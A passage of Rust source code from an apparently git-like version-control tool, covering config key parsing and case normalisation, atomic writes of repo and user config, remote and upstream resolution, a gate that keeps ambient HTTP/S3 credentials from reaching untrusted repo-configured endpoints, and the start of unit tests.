838        "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
839        "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
840        "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
841        "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
842        "signing_key" => val.clone_into(&mut cfg.signing_key),
843        "default_branch" => val.clone_into(&mut cfg.default_branch),
844        "durability.objects" => val.clone_into(&mut cfg.durability_objects),
845        "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
846        "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
847        "remote_type" => val.clone_into(&mut cfg.remote_type),
848        "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
849        "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
850        "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
851        "http.sslcainfo" => val.clone_into(&mut cfg.http_ssl_ca_info),
852        "transport_auth" => val.clone_into(&mut cfg.transport_auth),
853        "grant.webauthn_rp" => cfg
854            .grant_webauthn_rp
855            .extend(parse_pipe_list(val).into_iter().filter(|e| !e.is_empty())),
856        "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
857        "attest.signer" => val.clone_into(&mut cfg.attest.signer),
858        "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
859        "attest.external_signer_args" => {
860            cfg.attest.external_signer_args = parse_pipe_list(val);
861        }
862        "attest.external_signer_timeout_secs" => {
863            // Tolerate a malformed value on read (mirrors the rest of
864            // this parser): an unparseable number leaves the default in
865            // effect rather than aborting config load.
866            cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
867        }
868        "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
869        "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
870        // Dotted section keys: `remote.<name>.{url,type}` (repo-safe
871        // addresses) and `branch.<b>.{remote,merge}` (per-branch
872        // upstream). Each remote endpoint still flows through the #97
873        // per-endpoint gate, so a named remote cannot smuggle ambient
874        // creds.
875        _ if apply_section_kv(cfg, key, val) => {}
876        // Legacy keys — silently ignored.
877        "author_mid" | "project_id" | "network" => {}
878        _ if key.ends_with("_url") => {}
879        _ => {} // unknown keys: tolerate on read
880    }
881}
882
883/// `true` if `key` is in the `core` section (`core.<x>`), matched
884/// case-insensitively like git (`Core.x`, `CORE.x` all count).
885#[must_use]
886pub fn is_core_section(key: &str) -> bool {
887    key.split_once('.')
888        .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
889}
890
891/// If `key` is `core.<x>` (section matched case-insensitively) with `<x>` an
892/// allowlisted inert key, return the canonical lowercase suffix. git lowercases
893/// both the section and the variable name, so `Core.AutoCRLF` → `autocrlf`.
894#[must_use]
895pub fn core_allowed_suffix(key: &str) -> Option<String> {
896    let (section, name) = key.split_once('.')?;
897    if !section.eq_ignore_ascii_case("core") {
898        return None;
899    }
900    let suffix = name.to_ascii_lowercase();
901    CORE_ALLOWED_KEYS
902        .contains(&suffix.as_str())
903        .then_some(suffix)
904}
905
906/// Canonicalize a config key's case the way git does: the **section** and
907/// **variable** names are case-insensitive (lowercased), but the
908/// **subsection** — the middle segment of a `<section>.<subsection>.<var>`
909/// key, e.g. the `<name>` in `remote.<name>.url` or the `<branch>` in
910/// `branch.<branch>.remote` — is **case-sensitive** and preserved verbatim.
911///
912/// Two-segment keys (`user.name`, `core.autocrlf`, …) have no subsection,
913/// so both halves are lowercased. The split mirrors `apply_section_kv`'s
914/// `splitn(3, '.')`, so the canonical form round-trips through it.
915#[must_use]
916pub fn normalize_config_key(key: &str) -> String {
917    // git's key model: the FIRST `.` separates the section, the LAST `.`
918    // separates the variable, and everything between is the (case-sensitive)
919    // subsection — which may itself contain dots (`remote.a.b.url` →
920    // subsection `a.b`, variable `url`). Section + variable are lowercased;
921    // the subsection is preserved verbatim.
922    match key.split_once('.') {
923        Some((section, rest)) => match rest.rsplit_once('.') {
924            Some((subsection, variable)) => format!(
925                "{}.{subsection}.{}",
926                section.to_ascii_lowercase(),
927                variable.to_ascii_lowercase()
928            ),
929            None => format!(
930                "{}.{}",
931                section.to_ascii_lowercase(),
932                rest.to_ascii_lowercase()
933            ),
934        },
935        None => key.to_ascii_lowercase(),
936    }
937}
938
939/// Apply a `<section>.<name>.<field>` key (named remotes, branch
940/// upstreams). Returns `true` if the key matched a known section/field
941/// (regardless of whether the name validated), so the caller's match
942/// arm can treat it as handled.
943fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
944    let mut parts = key.splitn(3, '.');
945    let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
946    else {
947        return false;
948    };
949    // Only flat, ref-safe names (no further dots) are accepted.
950    // The grammar only: an existing config entry is never dropped for a
951    // name longer than SPEC-REFS §3's bound; `remote add` checks it.
952    let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name_grammar(name);
953    match (section, field) {
954        ("remote", "admission_headers") => {
955            if valid_name {
956                cfg.remote_admission_headers
957                    .insert(name.to_owned(), val.to_owned());
958            }
959            true
960        }
961        ("remote", "url") => {
962            if valid_name {
963                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
964            }
965            true
966        }
967        ("remote", "type") => {
968            if valid_name {
969                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
970            }
971            true
972        }
973        ("branch", "remote") => {
974            if valid_name {
975                val.clone_into(
976                    &mut cfg
977                        .branch_upstreams
978                        .entry(name.to_owned())
979                        .or_default()
980                        .remote,
981                );
982            }
983            true
984        }
985        ("branch", "merge") => {
986            if valid_name {
987                val.clone_into(
988                    &mut cfg
989                        .branch_upstreams
990                        .entry(name.to_owned())
991                        .or_default()
992                        .branch,
993                );
994            }
995            true
996        }
997        _ => false,
998    }
999}
1000
1001/// Write the given `Config` to `<root>/.mkit/config`. Only repo-scoped
1002/// (non-forbidden) fields are emitted; security-sensitive fields live
1003/// in the user-scoped file and must be written there explicitly.
1004///
1005/// **Contract:** `cfg` MUST be a repo-scoped config — either
1006/// [`read_layered`]`(root).repo` for a read-modify-write, or a freshly
1007/// built [`Config`] (e.g. on `clone`). NEVER pass a merged config
1008/// ([`read_or_default`] / [`read_layered`]`.merged`): this serializer
1009/// emits repo-safe fields such as `user.name` / `user.email`, so a
1010/// user-scoped value would be materialized into the clone-traveling
1011/// `.mkit/config` (a privacy/scope leak). Callers that need the effective
1012/// (merged) value for *reads* should use it only for reads.
1013pub fn write(layout: &RepoLayout, cfg: &Config) -> Result<(), ConfigError> {
1014    let path = layout.config_file();
1015    if let Some(parent) = path.parent() {
1016        fs::create_dir_all(parent)?;
1017    }
1018    // Only repo-safe keys are emitted. Anything in `REPO_FORBIDDEN_KEYS`
1019    // is explicitly NOT serialised to `<repo>/.mkit/config` — it lives
1020    // in `$XDG_CONFIG_HOME/mkit/config` via `write_user_kv`. Note
1021    // `attest.{signer,default_algorithm}` are forbidden too because
1022    // they're the *selectors* that weaponise a user-scoped external
1023    // signer or non-Ed25519 key path against attacker-chosen content.
1024    let mut out = String::new();
1025    for (k, v) in [
1026        // `user.name`/`user.email` are repo-safe git-compat aliases
1027        // (non-authoritative — they never feed the signed author).
1028        ("user.name", cfg.user_name.as_str()),
1029        ("user.email", cfg.user_email.as_str()),
1030        ("default_branch", cfg.default_branch.as_str()),
1031        ("durability.objects", cfg.durability_objects.as_str()),
1032        ("http.sslcainfo", cfg.http_ssl_ca_info.as_str()),
1033        ("remote_endpoint", cfg.remote_endpoint.as_str()),
1034        ("remote_bucket", cfg.remote_bucket.as_str()),
1035        ("remote_type", cfg.remote_type.as_str()),
1036    ] {
1037        if !v.is_empty() {
1038            out.push_str(k);
1039            out.push_str(" = ");
1040            out.push_str(v);
1041            out.push('\n');
1042        }
1043    }
1044    // Named remotes (`remote.<name>.url` / `.type`). BTreeMap iteration
1045    // is sorted, so output is deterministic. `writeln!` into a `String`
1046    // is infallible.
1047    for (name, entry) in &cfg.remotes {
1048        if !entry.url.is_empty() {
1049            let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
1050        }
1051        if !entry.remote_type.is_empty() {
1052            let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
1053        }
1054    }
1055    // Per-branch upstream tracking (`branch.<b>.remote` / `.merge`).
1056    for (branch, up) in &cfg.branch_upstreams {
1057        if !up.remote.is_empty() {
1058            let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
1059        }
1060        if !up.branch.is_empty() {
1061            let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
1062        }
1063    }
1064    // Inert git-compat `core.*` keys — repo-safe (mkit never acts on them).
1065    for (k, v) in &cfg.core {
1066        let _ = writeln!(out, "core.{k} = {v}");
1067    }
1068    // Atomic replace: write to a sibling temp file then rename over the
1069    // target so a crash mid-write can never leave a truncated config
1070    // (which would silently drop remotes / upstream tracking). The temp
1071    // file shares the destination directory so the rename stays on one
1072    // filesystem.
1073    let dir = path.parent().unwrap_or_else(|| Path::new("."));
1074    let mut tmp = tempfile::Builder::new()
1075        .prefix(".config.")
1076        .tempfile_in(dir)?;
1077    tmp.write_all(out.as_bytes())?;
1078    tmp.flush()?;
1079    tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
1080    Ok(())
1081}
1082
1083/// The implicit name of the legacy flat `remote_endpoint` /
1084/// `remote_type` remote.
1085pub const DEFAULT_REMOTE_NAME: &str = "default";
1086
1087/// A resolved remote: its endpoint URL plus whether the repo-scoped
1088/// config selected it (`repo_chosen`), which the #97 credential gate
1089/// keys on. Returned by [`resolve_remote`].
1090#[derive(Debug, Clone, PartialEq, Eq)]
1091pub struct ResolvedRemote {
1092    pub name: String,
1093    pub endpoint: String,
1094    pub repo_chosen: bool,
1095}
1096
1097/// Resolve a remote NAME to its endpoint + provenance.
1098///
1099/// - `default` (or an empty name): the flat `remote_endpoint`; chosen by
1100///   the repo iff the repo layer set it.
1101/// - any other name: a `remote.<name>.url` entry. Named remotes are
1102///   stored repo-scoped, so a named remote present in the repo layer is
1103///   `repo_chosen`; one present only in the user layer is not.
1104///
1105/// Returns `None` when the name is unknown / its URL is empty.
1106#[must_use]
1107pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
1108    let name = if name.is_empty() {
1109        DEFAULT_REMOTE_NAME
1110    } else {
1111        name
1112    };
1113    if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
1114        let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
1115        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1116        return Some(ResolvedRemote {
1117            name: DEFAULT_REMOTE_NAME.to_owned(),
1118            endpoint,
1119            repo_chosen,
1120        });
1121    }
1122    let entry = cfg.merged.remotes.get(name)?;
1123    let endpoint = entry.url.trim();
1124    if endpoint.is_empty() {
1125        return None;
1126    }
1127    let repo_chosen = cfg
1128        .repo
1129        .remotes
1130        .get(name)
1131        .is_some_and(|e| e.url.trim() == endpoint);
1132    Some(ResolvedRemote {
1133        name: name.to_owned(),
1134        endpoint: endpoint.to_owned(),
1135        repo_chosen,
1136    })
1137}
1138
1139/// Every remote name resolvable via [`resolve_remote`]: the flat
1140/// `default` remote (when the flat `remote_endpoint` is set) plus every
1141/// named `remote.<name>.url` entry. Sorted and deduplicated (a
1142/// `BTreeSet` cannot contain a name twice), which is what makes `fetch
1143/// --all` / `pull --all`'s iteration order deterministic. Used by
1144/// `mkit fetch --all` / `mkit pull --all` to enumerate the remotes to
1145/// sync in one invocation.
1146#[must_use]
1147pub fn configured_remote_names(cfg: &LayeredConfig) -> Vec<String> {
1148    let mut names: std::collections::BTreeSet<String> =
1149        cfg.merged.remotes.keys().cloned().collect();
1150    if !cfg.merged.remote_endpoint.trim().is_empty() {
1151        names.insert(DEFAULT_REMOTE_NAME.to_owned());
1152    }
1153    names.into_iter().collect()
1154}
1155
1156/// Resolve the upstream (remote name, remote branch) for a local branch.
1157/// Falls back to the `default` remote tracking the same-named branch
1158/// when no explicit `branch.<b>.{remote,merge}` is configured *and* a
1159/// default remote exists.
1160#[must_use]
1161pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
1162    if let Some(up) = cfg.merged.branch_upstreams.get(branch)
1163        && !up.remote.is_empty()
1164        && !up.branch.is_empty()
1165    {
1166        return Some(up.clone());
1167    }
1168    // Implicit fallback: a configured default remote tracks the
1169    // same-named branch. Only offered when a default endpoint exists so
1170    // callers can still produce an actionable "no upstream" error.
1171    if !cfg.merged.remote_endpoint.trim().is_empty() {
1172        return Some(Upstream {
1173            remote: DEFAULT_REMOTE_NAME.to_owned(),
1174            branch: branch.to_owned(),
1175        });
1176    }
1177    None
1178}
1179
1180/// Real-environment getter used by the runtime credential gate: reads
1181/// the named environment variable, treating an empty value as absent.
1182fn real_getenv(name: &str) -> Option<String> {
1183    std::env::var(name).ok().filter(|value| !value.is_empty())
1184}
1185
1186/// Refuse to use ambient HTTP/S3 environment credentials with a
1187/// repo-configured endpoint unless the user has explicitly trusted that
1188/// exact remote in user-scoped config.
1189///
1190/// Retained as the back-compat entry point for the flat single-remote
1191/// `remote_endpoint`. New, per-endpoint callers (named remotes, the
1192/// shared transport-dispatch choke point) should use
1193/// [`endpoint_credential_trust`], which is keyed on an explicit
1194/// `repo_chosen` provenance flag rather than re-deriving it from the
1195/// flat field.
1196pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
1197    let endpoint = cfg.merged.remote_endpoint.trim();
1198    let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1199    match trusted_remote_error_for(
1200        endpoint,
1201        repo_chosen,
1202        cfg.user.trusted_remote_endpoint.trim(),
1203        &real_getenv,
1204    ) {
1205        Some(msg) => Err(msg),
1206        None => Ok(()),
1207    }
1208}
1209
1210/// Per-endpoint credential trust check for the shared dispatch choke
1211/// point ([`crate::remote_dispatch::open_trusted`]) and named-remote
1212/// callers. `repo_chosen` is `true` when the endpoint was selected by
1213/// the repo-scoped config (the flat `remote_endpoint` or a
1214/// `remote.<name>.url` entry), `false` when it was supplied by the user
1215/// (user-scoped config or an explicit CLI argument). Trust is keyed on
1216/// the resolved ENDPOINT plus this provenance, never on a remote name.
1217pub fn endpoint_credential_trust(
1218    cfg: &LayeredConfig,
1219    endpoint: &str,
1220    repo_chosen: bool,
1221) -> Result<(), String> {
1222    match trusted_remote_error_for(
1223        endpoint.trim(),
1224        repo_chosen,
1225        cfg.user.trusted_remote_endpoint.trim(),
1226        &real_getenv,
1227    ) {
1228        Some(msg) => Err(msg),
1229        None => Ok(()),
1230    }
1231}
1232
1233/// Core gate, keyed on an explicit endpoint + provenance rather than a
1234/// `LayeredConfig`. Returns `Some(error)` when ambient HTTP/S3
1235/// credentials would be attached to a repo-chosen endpoint that the
1236/// user has not explicitly trusted.
1237///
1238/// * `endpoint` — the resolved, already-trimmed remote URL.
1239/// * `repo_chosen` — whether the repo-scoped config selected this
1240///   endpoint (the only case the gate fences; a user-chosen endpoint is
1241///   the user's own decision).
1242/// * `user_trusted` — the trimmed user-scoped `trusted_remote_endpoint`.
1243/// * `getenv` — credential probe (injected for tests).
1244fn trusted_remote_error_for<F>(
1245    endpoint: &str,
1246    repo_chosen: bool,
1247    user_trusted: &str,
1248    getenv: &F,
1249) -> Option<String>
1250where
1251    F: Fn(&str) -> Option<String>,
1252{
1253    if endpoint.is_empty() || !repo_chosen {
1254        return None;
1255    }
1256    if user_trusted == endpoint {
1257        return None;
1258    }
1259
1260    if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
1261        if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
1262            return Some(format!(
1263                "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1264                mkit_transport_http::TOKEN_ENV,
1265                user_config_path().display()
1266            ));
1267        }
1268        return None;
1269    }
1270
1271    if endpoint.starts_with("mkit+s3://")
1272        && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
1273            || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
1274    {
1275        return Some(format!(
1276            "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1277            user_config_path().display()
1278        ));
1279    }
1280
1281    None
1282}
1283
1284/// Write a single user-scoped key/value to `$XDG_CONFIG_HOME/mkit/config`.
1285/// Reads the existing file (if any), updates the matching line (or
1286/// appends), and writes back. Caller is responsible for validating
1287/// `value` (control bytes, key-path traversal).
1288pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
1289    // Normalize so the written line and the case-insensitive match below use
1290    // git's canonical form, regardless of how the caller spelled the key.
1291    let key = normalize_config_key(key);
1292    let key = key.as_str();
1293    let path = user_config_path();
1294    if let Some(parent) = path.parent() {
1295        fs::create_dir_all(parent)?;
1296    }
1297    let existing = fs::read_to_string(&path).unwrap_or_default();
1298    let mut out = String::new();
1299    let mut replaced = false;
1300    for raw_line in existing.lines() {
1301        let line = raw_line.trim();
1302        if line.is_empty() || line.starts_with('#') {
1303            out.push_str(raw_line);
1304            out.push('\n');
1305            continue;
1306        }
1307        // Match existing lines case-insensitively (like reads), so a
1308        // mixed-case duplicate of the same key is updated/normalized rather
1309        // than left behind to shadow the canonical line. `key` is already
1310        // normalized by the caller.
1311        if let Some((k, _)) = line.split_once('=')
1312            && normalize_config_key(k.trim()) == key
1313        {
1314            out.push_str(key);
1315            out.push_str(" = ");
1316            out.push_str(value);
1317            out.push('\n');
1318            replaced = true;
1319            continue;
1320        }
1321        out.push_str(raw_line);
1322        out.push('\n');
1323    }
1324    if !replaced {
1325        out.push_str(key);
1326        out.push_str(" = ");
1327        out.push_str(value);
1328        out.push('\n');
1329    }
1330    // Atomic temp + fsync + rename so a crash mid-write can't leave the
1331    // security-sensitive user config half-written (#223). A reader either
1332    // sees the old contents or the fully-updated file, never a torn one.
1333    write_atomic_user_config(&path, out.as_bytes())?;
1334    Ok(())
1335}
1336
1337/// Remove a single user-scoped key from `$XDG_CONFIG_HOME/mkit/config`,
1338/// mirroring [`write_user_kv`]'s read-modify-write-atomically shape but
1339/// dropping the matching line instead of replacing it. Returns `true`
1340/// iff a matching line was found and removed (a no-op unset — the key
1341/// was already absent — returns `false` rather than erroring, so
1342/// `mkit config --unset` on an already-unset key is idempotent).
1343pub fn remove_user_kv(key: &str) -> Result<bool, ConfigError> {
1344    let key = normalize_config_key(key);
1345    let key = key.as_str();
1346    let path = user_config_path();
1347    let existing = match fs::read_to_string(&path) {
1348        Ok(s) => s,
1349        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(false),
1350        Err(e) => return Err(ConfigError::Io(e)),
1351    };
1352    let mut out = String::new();
1353    let mut removed = false;
1354    for raw_line in existing.lines() {
1355        let line = raw_line.trim();
1356        if line.is_empty() || line.starts_with('#') {
1357            out.push_str(raw_line);
1358            out.push('\n');
1359            continue;
1360        }
1361        if let Some((k, _)) = line.split_once('=')
1362            && normalize_config_key(k.trim()) == key
1363        {
1364            removed = true;
1365            continue;
1366        }
1367        out.push_str(raw_line);
1368        out.push('\n');
1369    }
1370    if removed {
1371        write_atomic_user_config(&path, out.as_bytes())?;
1372    }
1373    Ok(removed)
1374}
1375
1376/// Atomically write `bytes` to `path`: write into a sibling temp file,
1377/// fsync it, then rename over the destination. Mirrors the key-save
1378/// path's temp+rename hardening.
1379fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
1380    use tempfile::NamedTempFile;
1381    let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
1382        io::ErrorKind::InvalidInput,
1383        "user config path has no parent",
1384    )))?;
1385    let mut tmp = NamedTempFile::new_in(parent)?;
1386    tmp.as_file_mut().write_all(bytes)?;
1387    tmp.as_file_mut().sync_all()?;
1388    tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
1389    Ok(())
1390}
1391
1392/// Expand a user-typed `user.identity` into the canonical hex form
1393/// `[kind:u8][len:u16 LE][bytes]`. See `docs/CLI.md`.
1394pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
1395    if value.is_empty() {
1396        return Err(ConfigError::InvalidUserIdentity("empty value"));
1397    }
1398    if let Some(hex) = value.strip_prefix("ed25519:") {
1399        if hex.len() != 64 {
1400            return Err(ConfigError::InvalidUserIdentity(
1401                "ed25519:<hex> must have 64 hex chars",
1402            ));
1403        }
1404        let bytes =
1405            hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
1406        return Ok(encode_identity_hex(0x01, &bytes));
1407    }
1408    if let Some(dec) = value.strip_prefix("mid:") {
1409        let mid: u64 = dec
1410            .parse()
1411            .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
1412        return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
1413    }
1414    if !value.len().is_multiple_of(2) || value.len() < 6 {
1415        return Err(ConfigError::InvalidUserIdentity(
1416            "raw hex is too short or has odd length",
1417        ));
1418    }
1419    let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
1420        "raw value is not valid hex",
1421    ))?;
1422    let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
1423    if bytes.len() != usize::from(declared) + 3 {
1424        return Err(ConfigError::InvalidUserIdentity(
1425            "declared length does not match payload length",
1426        ));
1427    }
1428    Ok(value.to_owned())
1429}
1430
1431fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
1432    let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
1433    let mut buf = Vec::with_capacity(3 + bytes.len());
1434    buf.push(kind);
1435    buf.extend_from_slice(&len.to_le_bytes());
1436    buf.extend_from_slice(bytes);
1437    hex_encode(&buf)
1438}
1439
1440fn hex_encode(bytes: &[u8]) -> String {
1441    static H: &[u8; 16] = b"0123456789abcdef";
1442    let mut s = String::with_capacity(bytes.len() * 2);
1443    for b in bytes {
1444        s.push(H[(b >> 4) as usize] as char);
1445        s.push(H[(b & 0x0F) as usize] as char);
1446    }
1447    s
1448}
1449
1450fn hex_decode(s: &str) -> Option<Vec<u8>> {
1451    if !s.len().is_multiple_of(2) {
1452        return None;
1453    }
1454    let mut out = Vec::with_capacity(s.len() / 2);
1455    let b = s.as_bytes();
1456    for i in (0..b.len()).step_by(2) {
1457        let hi = nibble(b[i])?;
1458        let lo = nibble(b[i + 1])?;
1459        out.push((hi << 4) | lo);
1460    }
1461    Some(out)
1462}
1463
1464fn nibble(c: u8) -> Option<u8> {
1465    Some(match c {
1466        b'0'..=b'9' => c - b'0',
1467        b'a'..=b'f' => 10 + c - b'a',
1468        b'A'..=b'F' => 10 + c - b'A',
1469        _ => return None,
1470    })
1471}
1472
1473/// XDG base-dir resolvers — fall back to `$HOME/.config` / `.local`.
1474fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
1475    if let Some(v) = std::env::var_os(var)
1476        && !v.is_empty()
1477    {
1478        return PathBuf::from(v);
1479    }
1480    if let Some(home) = std::env::var_os("HOME") {
1481        return PathBuf::from(home).join(fallback_under_home);
1482    }
1483    PathBuf::from(".")
1484}
1485
1486#[must_use]
1487pub fn xdg_config_home() -> PathBuf {
1488    xdg("XDG_CONFIG_HOME", ".config")
1489}
1490
1491/// The XDG config base for data that must never land in a working directory
1492/// (the grant store): an absolute `XDG_CONFIG_HOME`, else `$HOME/.config`.
1493///
1494/// # Errors
1495/// Neither is set to an absolute path.
1496pub fn xdg_config_home_absolute() -> Result<PathBuf, String> {
1497    absolute_config_home(
1498        std::env::var_os("XDG_CONFIG_HOME"),
1499        std::env::var_os("HOME"),
1500    )
1501}
1502
1503fn absolute_config_home(
1504    xdg: Option<std::ffi::OsString>,
1505    home: Option<std::ffi::OsString>,
1506) -> Result<PathBuf, String> {
1507    if let Some(v) = xdg.map(PathBuf::from)
1508        && v.is_absolute()
1509    {
1510        return Ok(v);
1511    }
1512    if let Some(h) = home.map(PathBuf::from)
1513        && h.is_absolute()
1514    {
1515        return Ok(h.join(".config"));
1516    }
1517    Err(
1518        "cannot locate the user config directory: set XDG_CONFIG_HOME or HOME to an absolute path"
1519            .to_owned(),
1520    )
1521}
1522
1523#[cfg(test)]
1524mod tests {
1525    use super::*;
1526    use mkit_core::layout::RepoLayout;
1527
1528    #[test]
1529    fn config_home_must_be_absolute() {
1530        let os = |s: &str| Some(std::ffi::OsString::from(s));
1531        assert_eq!(
1532            absolute_config_home(os("/x"), os("/h")).unwrap(),
1533            PathBuf::from("/x")
1534        );
1535        assert_eq!(
1536            absolute_config_home(os("rel"), os("/h")).unwrap(),
1537            PathBuf::from("/h/.config")
1538        );
1539        assert_eq!(
1540            absolute_config_home(None, os("/h")).unwrap(),
1541            PathBuf::from("/h/.config")
1542        );
1543        for (x, h) in [(None, None), (os(""), os("")), (os("rel"), os("rel"))] {
1544            assert!(absolute_config_home(x, h).is_err());
1545        }
1546    }
1547    use tempfile::TempDir;
1548
1549    #[test]
1550    fn normalize_config_key_casing() {
1551        // Two-segment keys: section + variable both lowercased.
1552        assert_eq!(normalize_config_key("User.Name"), "user.name");
1553        assert_eq!(normalize_config_key("Core.AutoCRLF"), "core.autocrlf");
1554        assert_eq!(normalize_config_key("user.identity"), "user.identity");
1555        // Three-segment keys: section + variable lowercased, subsection kept.
1556        assert_eq!(
1557            normalize_config_key("remote.Origin.url"),
1558            "remote.Origin.url"
1559        );
1560        assert_eq!(
1561            normalize_config_key("Remote.Origin.URL"),
1562            "remote.Origin.url"
1563        );
1564        assert_eq!(
1565            normalize_config_key("branch.Release.remote"),
1566            "branch.Release.remote"
1567        );
1568        // 4+ segments: FIRST dot is the section, LAST dot is the variable;
1569        // everything between is a (case-preserved) subsection that may itself
1570        // contain dots — matching git (not `splitn(3)`, which would lump
1571        // `URL.X` into the variable).
1572        assert_eq!(normalize_config_key("Remote.A.B.URL"), "remote.A.B.url");
1573        assert_eq!(
1574            normalize_config_key("HTTP.https://Ex.com/.SSLVerify"),
1575            "http.https://Ex.com/.sslverify"
1576        );
1577        // No dot: lowercased.
1578        assert_eq!(normalize_config_key("Foo"), "foo");
1579    }
1580
1581    #[test]
1582    fn config_file_preserves_subsection_case() {
1583        // A `remote.<Name>.url` written to the config file must reload with
1584        // the subsection case intact (git treats subsections case-sensitively),
1585        // so named remotes survive a round-trip.
1586        let dir = TempDir::new().unwrap();
1587        std::fs::create_dir_all(dir.path().join(".mkit")).unwrap();
1588        std::fs::write(
1589            dir.path().join(".mkit/config"),
1590            "remote.Origin.url = mkit+file:///tmp/x\nremote.Origin.type = file\n",
1591        )
1592        .unwrap();
1593        let cfg = read_or_default(&RepoLayout::single(dir.path())).unwrap();
1594        assert!(
1595            cfg.remotes.contains_key("Origin"),
1596            "subsection case lost on reload: {:?}",
1597            cfg.remotes.keys().collect::<Vec<_>>()
1598        );
1599        assert!(!cfg.remotes.contains_key("origin"));
1600    }
1601
1602    #[test]
1603    fn durability_objects_key_selects_sync_policy() {
1604        // The SPEC-OBJECTS §10.1 escape hatch must be reachable from
1605        // config: `per-object` selects the strict schedule, everything
1606        // else (unset, "batch", junk) falls back to the batched default.
1607        let mut cfg = Config::with_defaults();
1608        assert_eq!(
1609            cfg.object_sync_policy(),
1610            mkit_core::store::SyncPolicy::Batch
1611        );
1612        apply_kv(&mut cfg, "durability.objects", "per-object");
1613        assert_eq!(
1614            cfg.object_sync_policy(),
1615            mkit_core::store::SyncPolicy::PerObject
1616        );
1617        // Round-trips through the repo-config writer.
1618        let dir = tempfile::tempdir().unwrap();
1619        write(&RepoLayout::single(dir.path()), &cfg).unwrap();
1620        let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
1621        assert!(text.contains("durability.objects = per-object"));
1622        apply_kv(&mut cfg, "durability.objects", "bogus");
1623        assert_eq!(
1624            cfg.object_sync_policy(),
1625            mkit_core::store::SyncPolicy::Batch
1626        );
1627    }
1628
1629    /// Tests drive `apply_file` directly rather than mutating
1630    /// `XDG_CONFIG_HOME` — the env-var dance races other tests and
1631    /// trips the `disallowed-methods` clippy lint we configured.
1632    fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
1633        let td = TempDir::new().unwrap();
1634        let mut cfg = Config::with_defaults();
1635        if let Some(text) = user_text {
1636            let upath = td.path().join("user_config");
1637            fs::write(&upath, text).unwrap();
1638            apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
1639        }
1640        if let Some(text) = repo_text {
1641            let rpath = td.path().join("repo_config");
1642            fs::write(&rpath, text).unwrap();
1643            apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
1644        }
1645        cfg
1646    }
1647
1648    fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
1649        let td = TempDir::new().unwrap();
1650        let user_path = td.path().join("user_config");
1651        let repo_path = td.path().join("repo_config");
1652        if let Some(text) = user_text {
1653            fs::write(&user_path, text).unwrap();
1654        }
1655        if let Some(text) = repo_text {
1656            fs::write(&repo_path, text).unwrap();
1657        }
1658        let mut merged = Config::with_defaults();
1659        apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
1660        apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
1661        let mut user = Config::default();
1662        let mut repo = Config::default();
1663        apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
1664        apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
